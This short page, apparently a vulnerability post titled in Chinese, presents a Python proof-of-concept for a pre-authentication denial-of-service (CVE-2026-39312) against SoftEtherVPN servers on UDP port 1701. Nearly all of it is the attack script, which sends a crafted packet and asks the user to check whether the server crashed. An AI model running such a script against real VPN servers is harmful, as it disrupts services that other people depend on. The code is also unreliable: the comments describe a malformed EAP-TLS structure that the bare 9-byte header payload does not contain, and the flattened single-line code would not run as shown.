CVE-2026-39312 SoftEtherVPN 拒绝服务漏洞

import socket # PoC for CVE-2026-39312 # Target: SoftEtherVPN Developer Edition <= 5.2.5188 # Vulnerability: Pre-authentication DoS via malformed EAP-TLS packet over raw L2TP # Port: UDP/1701 target_ip = "TARGET_IP" target_port = 1701 # Constructing a malformed L2TP packet header # Standard L2TP header: Flags (2 bytes) | Tunnel ID (2 bytes) | Session ID (2 bytes) | Ns (2 bytes) | Nr (2 bytes) # This payload attempts to simulate a malformed EAP-TLS structure inside L2TP payload = bytes.fromhex("C80200000000000000") try: print(f"[*] Sending malformed packet to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) sock.close() print("[+] Packet sent. Check if the VPN server crashed.") except Exception as e: print(f"[-] Error: {e}")